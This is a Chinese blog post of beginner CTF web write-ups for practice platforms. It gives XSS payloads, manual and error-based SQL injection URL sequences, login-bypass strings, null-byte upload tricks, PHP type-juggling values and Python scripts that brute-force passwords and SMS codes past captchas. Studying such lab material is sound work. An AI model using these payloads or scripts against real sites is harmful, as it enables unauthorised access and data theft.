CTF web总结（入门）

最新推荐文章于 2024-09-10 18:00:12 发布
最新推荐文章于 2024-09-10 18:00:12 发布
阅读量3.2w 收藏 142
点赞数 11
分类专栏： ctf

本文链接：http://blog.csdn.net/u012763794/article/details/50959166

本文根据自己的做题经验及各大练习平台不断更新，若我最近懒了，没怎么更新，请在下面提醒我或鼓励我

仅作为自己的笔记及刚入门的童鞋，大牛勿喷

基础篇


1.直接查看源代码


http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php

2.修改或添加HTTP请求头


常见的有：
Referer来源伪造
X-Forwarded-For：ip伪造
User-Agent：用户代理（就是用什么浏览器什么的）
http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php
//.net的版本修改，后面添加，如版本9
.NET CLR 9

Accept-Language：语言
http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php
http://ctf1.shiyanbar.com/basic/header/
Cookie的修改
http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php


3.查看HTTP请求头或响应头
http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php
http://ctf1.shiyanbar.com/basic/catch/

4.302跳转的中转网页有信息

http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

5.查看开发者工具控制台


6.javascript代码绕过


通过删除或修改代码或者本地代理改包绕过
http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

7.使用burp的repeater查看整个HTTP包

http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

8.阅读javascript代码，直接控制台获取正确密码

http://ctf1.shiyanbar.com/basic/js/index.asp

9.robots.txt文件获取信息

这本来是给搜索引擎看的信息，很可能暴露网站结构目录
http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php

10..bash_history，这个应该说看到过吧，就是记录用户输入过的linux命令的


前端脚本类


js加解密

http://ctf5.shiyanbar.com/DUTCTF/1.html  //直接在F12控制台粘贴就有了

XSS

http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
这题题目就有漏洞，直接在命令行输入下面的就有了
[javascript]  view plain  copy
  1. $.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){  
  2.             console.log(data);  
  3.         });  
  4. showkey();  
当然简单的直接输入
[javascript]  view plain  copy
  1. <script>alert(HackingLab)</script>  
这样也可以

这题也差不多
http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
可以直接输入上题的那个jquery，也可以乖乖下面的
[html]  view plain  copy
  1. <img src="11" onerror=alert(HackingLab)>  

http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php


后端脚本类


代码审计

asp代码审计：

1.http://ctf8.shiyanbar.com/aspaudit/  
长度限制:F12删maxlength，或者改长度，本地代理都可以绕过
//Username：  'union  select 1,1,1 from bdmin '  ，为什么是三列呢，一般表中都会设置id，加上账号密码就3个了，不行就猜4列咯...，因为union的之前的用户名为空，所以前面的结果集为空，所以最后的结果集只有我们后面的1,1,1了，所以在密码那输入1就是密码。
 
这样也行，反正就闭合标签   'union  select 1,1,1 from bdmin where '1'='1

php代码审计

1.http://ctf8.shiyanbar.com/phpaudit/ //其实这个就是修改http请求头的X-Forwarded-For
2.http://ctf1.shiyanbar.com/web/4/index.php //跟下面的后台登陆型第一个一样，请看下面的后台登陆型第一个
3.http://ctf5.shiyanbar.com/DUTCTF/index.php //二次urlencode
4.http://ctf1.shiyanbar.com/web/5/index.php //请看后台登陆型第二个
5.http://ctf4.shiyanbar.com/web/false.php //数组的哈希值，都是null
6.http://ctf4.shiyanbar.com/web/Session.php //只需要在 第一次提交的时候直接提交password=即可，因为第一次访问时服务器那边也没设置对应的$_SESSION['password']，由于是==比较，两者是相等的。

表单隐藏 http://ctf10.shiyanbar.com:8888/main.php

sql注入

简单的直接上工具就ko了，如sqlmap，等-—— 10大sql注入工具
如下面几个：
1.http://ctf5.shiyanbar.com:8080/9/asp.asp

2.http://ctf5.shiyanbar.com/8/index.php?id=1
当然不用and XX也是可以的，下面只是举个例子
[php]  view plain  copy
  1. //手工注入过程  
  2. //判断注入类型为and布尔型注入  
  3. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1  
  4. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2  
  5. //判断字段数  
  6. http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203  
  7. http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202  
  8. //获取数据库基本信息(//concat_ws是字符串连接函数，其中第一个参数是分隔符，CHAR(58)是冒号，因为冒号的ASCII是58)  
  9. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version())   
  10. //获取数据库中的表,其中table_schema可以理解为数据库吧(他是mysql系统表里面的一个字段，这里我们用16进制表示，就是上一句查询到的数据库)  
  11. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462  
  12. //获取重要表的字段  
  13. http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579  
  14. //获取表中的内容  
  15. http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey  

3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
密码随便输入


4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
payload：
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1

5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1
宽字节注入，在其他没头绪的时候必须考虑这个了，哎，而且题目都说过滤了
还有响应头：Content-Type：text/html; charset=gb2312
payload
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23

6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
利用报错注入
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)     
数据库：mydbs
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1)
爆表
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)
爆数据

写点脚本的


注意看响应头，You must do it as fast as you can!，这个手速是不行的，必须编程获取后解码，跟着post数据：key=XXXXXXXXXXXXX
http://ctf4.shiyanbar.com/web/10.php

脚本如下
[python]  view plain  copy
  1. import requests   
  2. import base64  
  3.   
  4. url='http://ctf4.shiyanbar.com/web/10.php'   
  5. req=requests.get(url)  
  6. print req.text  
  7. key=req.headers['FLAG']  
  8. key=base64.b64decode(key)  
  9. key=key.split(':')[1].strip()  
  10. data={'key':key}  
  11. r=requests.post(url,data=data)   
  12. print(r.text)  


后台登陆型

给了源代码，主要看sql语句，注释掉后面的and (pw='$pass')，当注意闭合小括号 payload  ：user=admin')#&pass=432142
1.http://ctf1.shiyanbar.com/web/4/index.php

2.http://ctf1.shiyanbar.com/web/5/index.php
//这题可以看看asp代码审计第一题，你或许有思路，后面有答案鼠标刮过即可（鼠标选中冒号后面的空白）： user=' union select 'c4ca4238a0b923820dcc509a6f75849b'  from php -- &pass=1
那个MD5是密码1的md5


代码逆向

http://www.shiyanbar.com/ctf/1760
解密代码
[cpp]  view plain  copy
  1. $cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';  
  2. $tmp = base64_decode(strrev(str_rot13($cipher)));  
  3. echo $tmp;  
  4. $b = '';  
  5. for ($i=0; $i < strlen($tmp); $i++) {   
  6.     $a = substr($tmp, $i, 1);  
  7.     $b = $b.chr(ord($a)-1);  
  8. }  
  9. echo strrev($b);  

上传绕过类

http://ctf4.shiyanbar.com/web/upload  //这个注意看抓包的数据，既有路径，又有文件名，文件名不行，就试试路径的00截断   /uploads/sdf.php+十六进制的00

multipart/form-data大写绕过

php的特性

1.数字与字符串比较
[php]  view plain  copy
  1. var_dump( 0 == "a" );   
  2. var_dump( "0" == "a" );  
第一个返回的是 true ，第二个返回的是 false
因为php把字母开头的转化为整型时，转化为0， 前面数字后面字母的话就只取到第一个字母出现的位置之前（如intval(''123abd45gf)结果为123）

2.md5“ 碰撞”
因为php 0e开头的字符串都是==的，不是===哦
[php]  view plain  copy
  1. var_dump("0e462097431906854"=="0e83040041");  
上面这个返回true，如果题目的md5是0e开头的，你懂的
下面给一组数据吧
[php]  view plain  copy
  1. md5('240610708') 的结果是：0e462097431906509019562988736854   
  2. md5('QNKCDZO') 的结果是：0e830400451993494058024219903391  
240610708、QNKCDZO、aabg7XSs、aabC9RqS
3.md5数组
md5(array) == NULL

4.strcmp(array,string) ==

5.变量覆盖：register_globals的意思就是注册为全局变量，所以当On的时候，传递过来的值会被直接的注册为全局变量直接使用，而Off的时候，我们需要到特定的数组里去得到它。PHP4默认开启，PHP5以后默认关闭。
还有就是extract那个函数，也可以存在变量覆盖http://www.w3school.com.cn/php/func_array_extract.asp

6.ereg函数漏洞：00截断
%00
http://www.shiyanbar.com/ctf/1805


备份文件类型的

.bak   ultroedit....

~

.xxxx.PHP.swp  .xxxx.php.swo    vim



验证码类的

http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

这个验证码的特点是， 在一次会话中，下一次提交，上一次的验证码不会失效

代码，具体要改cookie和验证码
[python]  view plain  copy
  1. import requests  
  2.   
  3. url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"  
  4. req = requests.session()  
  5. header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}  
  6. for pwd in xrange(1000,10000):  
  7.   
  8.     data={'username':'admin','pwd':pwd,'vcode':'c3pe'}  
  9.   
  10.     ret = req.post(url, data=data, headers=header)  
  11.     print ret.text  
  12.     if 'error' not in ret.text:  
  13.         print pwd  
  14.         break  





http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

程序猿：“该死的黑客，我让你绕！我验证一次就让你的验证码失效，看你怎么绕！”

这一关的验证码，验证一次以后就失效了，但是再次提交的时候就不需要再考虑验证码是否正确的问题了，所以在脚本中只要保证验证码为''的就可以

[python]  view plain  copy
  1. import requests  
  2.   
  3. url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"  
  4. req = requests.session()  
  5. header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}  
  6.   
  7. for pwd in xrange(1000,10000):  
  8.     data={'username':'admin','pwd':pwd,'vcode':''}  
  9.     ret = req.post(url, data=data, headers=header)  
  10.       
  11.     if 'error' not in ret.text:  
  12.         print ret.text  
  13.         print "good: password is:" + str(pwd)  
  14.         break  
  15.     else:  
  16.         print "try:" + str(pwd) + " and result is :"+ ret.text  



http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php  跟上面一样的脚本

http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
爆破再爆破，点击验证码再运行脚本哦，跟着获得另一个手机号，再获取验证码，再修改手机号再运行脚本
[python]  view plain  copy
  1. import requests  
  2.   
  3. url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"  
  4. req = requests.session()  
  5. header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}  
  6. for vcode in xrange(100,1000):  
  7.     data={'username':'13388886666','vcode':vcode, 'Login':'submit'}  
  8.     # data={'username':'13399999999','vcode':vcode, 'Login':'submit'}  
  9.     ret = req.post(url, data=data, headers=header)  
  10.       
  11.     if 'error' not in ret.text:  
  12.         print ret.text  
  13.         print "good: vcode is:" + str(vcode)  
  14.         break  
  15.     else:  
  16.         print "try:" + str(vcode) + " and result is :"+ ret.text  







ncafei
关注
专栏目录
CTF总结-WEB篇
qq_42747131的博客
05-12 2161
WEB知识点整理 常见的备份文件格式：.git .svn .swp .svn .~ .bak .bash_history 比如主页文件是index.php，那么它的备份可能就是index.php.bak，此时直接作为url输入即可下载备份， 如[ www.baidu.com/index.php.bak ]（然而百度的并不能） robots协议：参考博客 cookies、会话：参考博客1、参考博客2 GET转POST：参考博客 主要是记住这句话 Content-Type: application
【愚公系列】2024年03月 《CTF实战：从入门到提升》 010-Web安全入门（PHP代码执行漏洞）
时光隧道
03-28 6万+
PHP代码执行漏洞是一种常见的安全漏洞，也被称为远程代码执行（Remote Code Execution，RCE）漏洞。这种漏洞的发生通常是由于程序员在编写代码时未正确过滤用户输入，导致用户能够将恶意代码插入到应用程序中，然后被解释器执行。攻击者可以利用这种漏洞执行任意代码，从而获取系统权限、窃取数据或者对系统进行进一步的攻击。未过滤用户输入：开发者在使用用户输入时必须进行严格的输入验证和过滤，避免直接将用户输入作为代码执行。eval() 和 exec() 函数。
CTF web总结
giantbranch的专栏
04-09 8万+
欢迎光顾我的新博客：https://www.giantbranch.cn 本文链接：http://blog.csdn.net/u012763794/article/details/50959166 本文根据自己的做题经验及各大练习平台不断更新，若我最近懒了，没怎么更新，请在下面提醒我或鼓励我 仅作为自己的笔记及刚入门的童鞋，大牛勿喷 基础篇   1.直接查看源代码   http:/...
CTF——简单的《WEB》
最新发布
焦虑的焦虑
09-10 2769
WEB入门笔记
CTF总结之WEB
醉等佳人归
06-06 457
文章目录1.工具2.信息收集类解题3.前端代码类解题4.HTTP协议类解题5.SQL注入攻击5.1.经典万能密码6.文件上传漏洞6.1.文件上传流程和上传攻击6.2.WebShell 1.工具 火狐浏览器，HackBar，BurpSuite 2.信息收集类解题 信息收集的题目考题一般是收集关于目标网站的信息，如前端页面提示与HTTP源码、返回包请求包信息、网站路径文件等，根据这些信息分析得到flag。简单的题目是直接在源码中就可以获取到flag，复杂些的需要深入收集信息。 3.前端代码类解题 前端代码的题
ctf新手总结--web做题
Martin-share的博客
10-24 2213
ctf新手总结--web做题
CTF WEB总结
热门推荐
夏日 の blog
02-06 11万+
1.http协议报头 使用referer字段来伪造来源 问：某些页面要求你必须要通过http://www.xxxx.com进行访问? 答：增加一个referer字段 Referrer:http://www.xxxx.com (题目要求的url) 使用X-Forwarded-For来伪造ip 问：题目要求必须是某个ip地址如1.1.1.1，才允许访问。 答：增加一个X-Forwarded-For字...
【愚公系列】2024年03月 《CTF实战：从入门到提升》 011-Web安全入门（PHP反序列化漏洞）
时光隧道
03-30 5万+
PHP是一种广泛使用的开源服务器端脚本语言，它支持面向对象的编程范式。在PHP中，类和对象是用于封装数据与功能的核心组件，它们使得代码更加模块化、易于管理和扩展。在处理对象持久化——即在不同会话或不同请求之间保存对象状态的过程中，序列化和反序列化是两个非常重要的概念。反序列化漏洞通常发生在不安全地反序列化用户提供的数据时。代码执行：攻击者可能会注入恶意对象，当这个对象被反序列化时，它可能会触发任意代码执行。对象注入：通过构造特殊的序列化数据，攻击者可能会在应用程序上下文中创建不正当的对象实例。
CTF从入门到提升（一）.docx
12-18
CTF从入门到提升（一） CTF（Capture The Flag）是一种网络安全竞赛的形式，起源于西方传统运动，两军互相争夺旗帜，夺取敌军旗帜代表战败。在信息安全领域，CTF是通过各种攻击手法，获取服务器后寻找指定的字段，...
CTF-WEB入门DOC-2019版1
08-03
【CTF-WEB入门DOC-2019版1】主要涵盖了CTF竞赛与Web安全相关的基础知识和进阶技能，适合对网络安全有兴趣，尤其是希望在Web安全领域发展的人群。以下将详细介绍其中的关键知识点： 一、CTF简介及目标： CTF...
CTF——web总结
m0_52484587的博客
07-28 197
ps：正常的应该是先扫描目录，然后发现后台进行爆破，发现爆破困难，然后去社工找其他信息。
CTF——web个人总结
recover517的博客
05-28 1万+
包含个人总结的解题思路、注入思路、文件包含思路、源码审计思路等
CTF/web
05-15 113
题目简述：做法1.动图：查看源代码2.计算器：打开控制台ctrl shift c，修改mathmax3.$_get：在url后添加？what=flag4.$_post：查看源码，使用firefox hackbar 进行post data5.矛盾：is_numeric() 函数用于检测变量是否为数字或数字字符串。读代码，明确要求满足不为数字且值为1输入即可获得flag//你要知道1的任何次...
CTF|WEB学习总结
weixin_43340821的博客
08-07 1526
目录SSHSMB信息泄露FTP服务后门利用Capture the Flag SSH GET -从指定资源请求数据：用GET给后端传参的方法：在？后跟变量，不同变量之间用&隔开 POST- 从指定资源提交要被处理的数据 robots.txt：爬虫协议文件：存放于网站根目录下的ASCII编码的文本文件，存放不允许搜索引擎探测和允许探测的文件名 信息探测 渗透：针对服务器的漏洞探测，进行对应数据包的发送，获取机器最高权限。‘ – nmap -sV 靶场IP地址 挖掘开放服务信息 探测靶场开放的服务与服务
CTF Web方向考点总结
qq_41513009的博客
09-20 2万+
ctf web考点总结
007-CTF web题型总结-第七课 CTF WEB实战练习(三).pdf
07-09
007-CTF Web题型总结的第七课主要涵盖了三个部分：入门第一部分、入门第二部分-社工篇和入门第三部分-高级篇。这些部分详细介绍了在CTF（Capture The Flag）网络安全竞赛中常见的Web挑战类型，并通过Bugku平台上的...
CTF WEB套路总结
2301_79880725的博客
01-28 1055
----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) #大小写绕过。strcmp(str1,str2):若所有的字符串均相同，则返回STRCMP()，若根据当前分类次序，第一个参数小于第二个，则返回 -1，其它情况返回 1。
CTF web总结--sql注入
bob的博客
08-30 1627
<?php include "common.php";if (isset($_POST["name"])){ $name = str_replace("'", "", trim($_POST["name"])); if (strlen($name) > 10){ echo("<script>alert('too long')</script>"); }else{ $sql
CTF Web学习笔记
01-11
CTF Web学习笔记，包含杂项和WEB两部分，包含杂项简介，WEB知识点总结以及Web常用套路总结。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值